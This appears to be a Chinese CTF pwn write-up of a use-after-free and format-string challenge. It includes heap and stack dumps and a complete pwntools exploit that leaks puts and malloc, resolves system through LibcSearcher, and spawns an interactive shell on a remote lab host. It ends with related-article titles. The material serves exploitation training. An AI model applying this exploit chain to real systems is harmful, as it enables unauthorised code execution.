create功能會先申請0x20位元組的內存堆塊存儲結構,如果輸入的字符串長度大於0xf,則另外申請指定長度的空間存儲數據,否則存儲在之前申請的0x20位元組的前16位元組處,在最後,會將相關free函數的地址存儲在堆存儲結構的後八字節處

在create時全局結構指向我們申請的內存

這樣就可以惡意構造結構數據,利用uaf覆蓋舊數據結果的函數指針,列印出函數地址,洩露出二進位base基址,主要邏輯如下:

create(4 創建old_chunk0 但是程序佔位 old_chunk0_size=0x30 申請0x20create(4 創建old_chunk1 但是程序佔位 old_chunk1_size=0x30 申請0x20釋放chunk1釋放chunk0create(0x20 創建 chunk0 佔位 old_chunk0,佔位 old_chunk1            創建 chunk1 覆蓋 old_chunk1->data->free 為 puts

此時執行delete操作,也就執行了

free(ptr) -> puts(ptr->buffer和後面覆蓋的puts地址)

列印出了puts_addr地址,然後通過計算偏移得到二進位基址,如下:

bin_base_addr = puts_addr - offset

然後利用二進位基址算出二進位自帶的 printf 真實地址,再次利用格式化字符漏洞實現任意地址讀寫。如下是得到printf 真實地址 printf_addr後利用格式化字符漏洞實現任意地址讀寫的測試過程,我們輸出10個%p 也就列印了堆棧前幾個數據值。然後找到了 arg9 為我們能夠控制的數據,所以利用腳本裡printf輸出參數變成了 「%9$p」,讀取第九個參數。

delete(0)payload = 'a%p%p%p%p%p%p%p%p%p%p'.ljust(0x18, '#') + p64(printf_addr)  # 覆蓋chunk1的 free函數-> printfcreate(0x20, payload)p.recvuntil("quit")p.send("delete ")p.recvuntil("id:")p.send(str(1) + '\n')p.recvuntil("?:")p.send("yes.1111" + p64(addr) + "\n")  # 觸發 printf漏洞
p.recvuntil('a')data = p.recvuntil('####')[:-4]

IDA調試時內存數據為如下:

0000560DFCD3C000  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ...1..0000560DFCD3C010  40 C0 D3 FC 0D 56 00 00  00 00 00 00 00 00 00 00  @....V0000560DFCD3C020  1E 00 00 00 00 00 00 00  6C CD 7C FB 0D 56 00 00  ...l....V..0000560DFCD3C030  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ...1..0000560DFCD3C040  61 25 70 25 70 25 70 25  70 25 70 25 70 25 70 25  a%p%p%p%p%p%p%p%0000560DFCD3C050  70 25 70 25 70 23 23 23  D0 C9 7C FB 0D 56 00 00  p%p%p###..|..V..
00007FFE50BF9630 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 .00007FFE50BF9640 79 65 73 2E 31 31 31 31 00 60 8C 2B 45 56 00 00 yes.1111.`.+EV..
00007FFCA59554F8 0000560DFB7CCE95 delete_sub_D95+10000007FFCA5955500 000000000000000000007FFCA5955508 0000000100000000 arg700007FFCA5955510 313131312E736579 arg800007FFCA5955518 0000560DFB7CC000 LOAD:0000560DFB7CC000 # arg9 讀取這個 arg9 所以這裡選擇 %9$s00007FFCA5955520 000000000000000A00007FFCA5955528 0000560DFB7CCA50 start00007FFCA5955530 00007FFCA5955D90 [stack]:00007FFCA5955D90

利用格式化字符串漏洞實現任意地址後,讀取兩個libc函數然後確定libc版本,獲取對應libc版本的system_addr

最終利用

#!/usr/bin/python# -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'# target = process('pwn-f')p = remote('172.16.36.176', 10003)
elf = ELF("./pwn-f")libc_elf = ELF("./libc-2.23.so")def create(size, string): p.recvuntil('3.quit') p.sendline('create ') p.recvuntil('size:') p.sendline(str(size)) p.recvuntil('str:') p.send(string)
def delete(id): p.recvuntil('3.quit') p.sendline('delete ') p.recvuntil('id:') p.sendline(str(id)) p.recvuntil('sure?:') p.sendline('yes')
def leak(addr): global printf_addr
delete(0) payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆蓋chunk1的 free函數-> printf create(0x20,payload) p.recvuntil("quit") p.send("delete ") p.recvuntil("id:") p.send(str(1)+'\n') p.recvuntil("?:") p.send("yes.1111"+p64(addr)+"\n") # 觸發 printf漏洞 p.recvuntil('a') data = p.recvuntil('####')[:-4] if len(data) == 0: return '\x00' if len(data) <= 8: log.info("{}".format(hex(u64(data.ljust(8,'\x00'))))) return data
def main(): global printf_addr #step 1 create & delete create(4,'aaaa') create(4,'bbbb') delete(1) delete(0)
#step 2 recover old function addr pwn = ELF('./pwn-f') payload = "aaaaaaaa".ljust(0x18,'b')+'\x2d'# recover low bits,the reason why i choose \x2d is that the system flow decide by create(0x20,payload) # 申請大於0xf的內存會多申請一次 佔位chunk0 和 chunk1,申請的內容覆蓋 chunk1->
#調用的是之前留下的chunk1 然後被覆蓋 delete(1) # call free -> call _puts
#step 3 leak base addr p.recvuntil('b'*0x10) data = p.recvuntil('\n')[:-1] if len(data)>8: data=data[:8] data = u64(data.ljust(0x8,'\x00'))# leaked puts address use it to calc base addr pwn_base_addr = data - 0xd2d # 減去二進位base
log.info("pwn_base_addr : {}".format(hex(pwn_base_addr))) # 找到了plt表的基地址,下面就是對于格式化字符串的利用
# free -> printf # 我們首先create字符串調用delete 此時freeshort地址變成了printf,可以控制列印 #step 4 get printf func addr printf_plt = pwn.plt['printf'] printf_addr = pwn_base_addr + printf_plt #get real printf addr
log.info("printf_addr : {}".format(hex(printf_addr)))
delete(0)
#step 5 leak system addr create(0x20,payload) # 繼續調用 free -> puts delete(1) #this one can not be ignore because DynELF use the delete() at begin
# 洩露malloc_addr delete(0) payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆蓋chunk1的 free函數-> printf create(0x20,payload) p.recvuntil("quit") p.send("delete ") p.recvuntil("id:") p.send(str(1)+'\n') p.recvuntil("?:") p.send("yes.1111"+p64(elf.got["malloc"] + pwn_base_addr)+"\n") # 觸發 printf漏洞 p.recvuntil('a') data = p.recvuntil('####')[:-4]
malloc_addr = u64(data.ljust(8,"\x00")) log.info("malloc_addr : {}".format(hex(malloc_addr)))
# 洩露 puts_addr delete(0) payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆蓋chunk1的 free函數-> printf create(0x20,payload) p.recvuntil("quit") p.send("delete ") p.recvuntil("id:") p.send(str(1)+'\n') p.recvuntil("?:") p.send("yes.1111"+p64(elf.got["puts"] + pwn_base_addr)+"\n") # 觸發 printf漏洞 p.recvuntil('a') data = p.recvuntil('####')[:-4]
puts_addr = u64(data.ljust(8,"\x00")) log.info("puts_addr : {}".format(hex(puts_addr)))
# 通過兩個libc函數計算libc ,確定system_addr from LibcSearcher import * obj = LibcSearcher("puts", puts_addr) obj.add_condition("malloc", malloc_addr) # obj.selectin_id(3)
libc_base = malloc_addr-obj.dump("malloc") system_addr = obj.dump("system")+libc_base # system 偏移
log.info("system_addr : {}".format(hex(system_addr))) # 找到了plt表的基地址,下面就是對于格式化字符串的利用
#step 6 recover old function to system then get shell delete(0) create(0x20,'/bin/bash;'.ljust(0x18,'#')+p64(system_addr)) # attention /bin/bash; i don`t not why add the ';' delete(1) p.interactive()if __name__ == '__main__': main()

總結

通過這些入門pwn知識的學習,對棧溢出,堆溢出,uaf的利用會有清晰的理解。對以後分析真實利用場景漏洞有很大的幫助。利用腳本儘量做的通用,考慮多個平臺。那麼分析利用有了,對於漏洞挖掘這方面又是新的一個課題,對於這方面的探索將另外寫文章分析。

參考

linux程序的常用保護機制

linux-pwn

https://blog.csdn.net/zhy557/article/details/80832268

Linux學習

相關焦點

  • PWN學習指南
    Python : 有了前面的鋪墊,學python就會很快,廖雪峰的python教程,《Python編程從入門到實踐》等都不錯。彙編 : 用王爽的《彙編語言》來入門是不錯的. 不過這本書是16位彙編,入門後還得找找32位,64位彙編資料來看看。這裡說的彙編都是asm彙編.
  • CTF必備技能丨Linux Pwn入門教程——ShellCode
    在上一篇文章中我們學習了怎麼使用棧溢出劫持程序的執行流程。為了減少難度,演示和作業題程序裡都帶有很明顯的後門。然而在現實世界裡並不是每個程序都有後門,即使是有,也沒有那麼好找。因此,我們就需要使用定製的ShellCode來執行自己需要的操作。
  • 第一個PWN:棧溢出原理以及EXP的編寫
    PWN入門有那麼難嗎,如果你想做,一定可以學會。加油,打工人!
  • CTF從入門到提升(二)
    類型:Web密碼學Pwn 程序的邏輯分析,漏洞利用windows、linuxhttps://github.com/truongkma/ctf-toolshttps://github.com/Plkachu/v0lthttps://github.com/zardus/ctf-toolshttps://github.com/TUCTF/Tools學習入門
  • Docker搭建pwn環境
    本文為看雪論壇優秀文章看雪論壇作者ID:直木其實以前就想搭建一個docker環境,但是那時候想用dockfile來一步到位,奈何自身水平原因,反而花了很多時間,然後就放棄了我的安裝(依賴我在dockerfile安裝了,pwntools習慣用python2)python -m pip install --upgrade pip# 豆瓣源python -m pip install --upgrade pwntools -i https://pypi.douban.com/simple/pwntools:https
  • Linux Kernel Pwn 學習筆記 (UAF)
    (在linux kernel pwn裡面一般開了多線程就很有可能是利用條件競爭)。cred:當我們fork一個新的進程的時候會產生cred結構體,在task_struct中大小為0xa8,注意當cred的uid,gid為0的話,我們就提權成功。
  • 淺談Linux Pwn Unlink機制
    欺騙進行unlink了解這些之後以一道題目作為例子進行說明,這也是ctfwiki上的一道例子https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof題目也是最常見的item類型的題目提供了創建,修改,編輯,
  • CTF學習之PWN入坑指南(贈IDA工具)
    CTF的PWN題想必是很多小夥伴心裡的痛,大多小夥伴不知道PWN該如何入門,不知道該如何系統性學習,本期開始,鬥哥將輸出PWN的一系列文章,手把手帶小夥伴們入坑 。0×01開篇介紹PWN 是一個黑客語法的俚語詞 ,是指攻破設備或者系統 。
  • Linux Kernel Pwn_0_kernel ROP與驅動調試
    Windows系統從win8開始啟用SMEP,Windows內核枚舉哪些處理器的特性可用,當它看到處理器支持SMEP時通過在CR4寄存器中設置適當的位來表示應該強制執行SMEP,可以通過ROP或者jmp到一個RWX的內核地址繞過。linux內核從3.0開始支持SMEP,3.7開始支持SMAP。在沒有SMAP/SMEP的情況下把內核指針重定向到用戶空間的漏洞利用方式被稱為ret2usr。
  • CTF從入門到提升(三)
    類型:Web,密碼學,pwn 程序的邏輯分析,漏洞利用windows
  • 實例講解支持多種架構指令集編解碼的 pwntools 工具
    然後看了一下,multiverse 的 asm 部分實際是用的 pwntools,而且 pwntools 支持的架構更多,所以轉而直接用 pwntools 就好了:初試 pwntools安裝這個工具的穩定版本僅支持到 python 2.7,可以參考以下文檔安裝:"Installation — pwntools 3.12.1 documentation": https://
  • tensorflow從入門到放棄
    我好奇心比較重,禁不住公眾號宣傳的誘惑,趕緊組隊報名參加了,很快就拿到了帳號,開始在慕課上的學習之路。這個課程前面幾章比較簡單,很快就給我打開了tensorflow的大門。慕課上關於tensorflow的入門課程,主要是講如何利用tensorflow的一些API,實現一些常見的圖像識別,文本合成等簡易功能。雖然我只學習了前面幾章,敲了幾行代碼,發現這東西也太牛X了,計算機領域的技術真是日新月異,變化太快。
  • PWNDocker:一個用於CTF PWN的Docker容器
    CTF中的PWN類題目使用Docker hub地址:https://hub.docker.com/r/skysider/pwndocker/docker pull skysider/pwndockerdocker run -it --rm -name testctf -v $(pwd):/ctf/work skysider/pwndocker包含的軟體pwntools
  • 2020 *ctf 部分pwn writeup
    from pwn import *file_path = "./pwn"context.arch = "amd64"context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu
  • 滑鼠從入門到放棄
    這也就是為什麼外設系列文章都題為《從入門到放棄》。顯示器可以通過肉眼比較,從大量型號中選出更順眼的;機械鍵盤的不同的軸體大致也決定了手感。而這次要給大家指導的滑鼠,阿湯哥我個人認為基本沒什麼決定性的因素可供篩選,完全靠唯心主義手感選擇,絕對是目前科普過的電腦硬體中穩坐「最難挑寶座」的一項。
  • Linux系統入門學習:教你在VirtualBox 安裝 Ubuntu 15.04
    相關:Linux系統入門學習:教你在VirtualBox 安裝 Fedora 22 http://www.linuxidc.com/Linux/2015-08/121808.htm本文環境更多 Linux 發行版的下載,可以看這裡:Linux系統下載 。
  • 安洵杯2020 官方Writeup(Pwn)
    漏洞點在lgx::work::work::handle_post中有個memcpy函數,該函數是將post的數據進行拷貝到dest中,若post的數據過大,則造成堆棧溢出void __fastcall lgx::work::work::handle_post(lgx::work::work *this){ __m128i *v1; // rax
  • CTF 從入門到精通 | 內附教程分享
    CTF題型web安全密碼學Pwn 程序的邏輯分析,漏洞利用 windows、linux、小型機等Misc 雜項,隱寫,數據還原,腦洞、社會工程、與信息安全相關的大數據reverse 逆向 Windows、Linux 類ppc 編程類的入門需要哪些基礎
  • 毒教程 | 數據分析,從入門到放棄
    掐指一算,我覺得你還是直接從入門到放棄吧. 大家自己去圍觀知乎大神 @董偉明寫的「爬蟲從入門到進階」的Live簡介,說得直戳心坎,嘖嘖~這個19塊軟妹幣,評價高得喪心病狂的live我是一直很想上的. 就是窮逼一直在苦哈哈地等知乎的live打折券. 此時的你,是不是已經學到昏厥.
  • Windows pwn學習筆記
    安裝winpwnpip install winpwnpip install pefilepip install keystone-enginepip install capstone棧溢出相關結構體32為系統下SEH結構體//sehFrame _EH3_EXCEPTION_REGISTRATION struc